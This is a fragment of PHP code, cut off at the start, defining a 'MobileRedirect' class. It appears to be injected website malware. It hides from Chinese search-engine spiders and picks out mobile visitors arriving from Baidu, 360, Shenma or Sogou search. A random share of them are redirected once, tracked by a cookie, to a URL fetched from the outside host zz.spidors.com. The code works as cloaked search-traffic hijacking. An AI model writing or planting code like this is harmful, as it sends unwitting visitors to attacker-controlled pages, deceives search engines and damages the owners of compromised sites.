init(); } private function init() { if ($this->hasRedirected() || $this->isSearchEngineSpider()) { return; } if ($this->isValidMobileSource() && $this->isMobile()) { if (mt_rand(0, 99) < self::REDIRECT_PROBABILITY) { $url = $this->fetchRedirectUrl(); if ($url) { $this->redirectUrl = $url; $this->shouldRedirect = true; $this->setRedirectCookie(); } } } } public function shouldRedirect() { return $this->shouldRedirect; } public function getRedirectUrl() { return $this->redirectUrl; } public function outputRedirectScript() { if ($this->shouldRedirect) { echo ""; } } private function isSearchEngineSpider() { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $spiders = ['baiduspider', '360spider', 'yisouspider', 'sogouspider', 'sogou web spider']; foreach ($spiders as $spider) { if (strpos($ua, $spider) !== false) return true; } return false; } private function isValidMobileSource() { $ref = $_SERVER['HTTP_REFERER'] ?? ''; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; return strpos($ref, 'm.baidu.com') !== false || strpos($ua, 'baiduboxapp') !== false || strpos($ref, 'm.so.com') !== false || strpos($ref, 'so.m.sm.cn') !== false || strpos($ref, 'm.sm.cn') !== false || strpos($ua, 'SMBrowser') !== false || strpos($ref, 'm.sogou.com') !== false || strpos($ua, 'SogouMobileBrowser') !== false || strpos($ua, 'BaiduHD') !== false; } private function isMobile() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; return preg_match('/(mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone)/i', $ua) && !preg_match('/(ipad|tablet)/i', $ua); } private function hasRedirected() { return ($_COOKIE[self::REDIRECT_COOKIE_NAME] ?? '') === '1'; } private function setRedirectCookie() { $expire = time() + self::COOKIE_EXPIRE_DAYS * 86400; setcookie(self::REDIRECT_COOKIE_NAME, '1', $expire, '/', '', !empty($_SERVER['HTTPS']), true); } private function fetchRedirectUrl() { $ch = curl_init('https://zz.spidors.com/v.php'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'MobileRedirect/1.0' ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response && $httpCode === 200) { $url = trim($response); if (filter_var($url, FILTER_VALIDATE_URL)) return $url; } return null; } } $redirect = new MobileRedirect(); if ($redirect->shouldRedirect()) { $redirect->outputRedirectScript(); }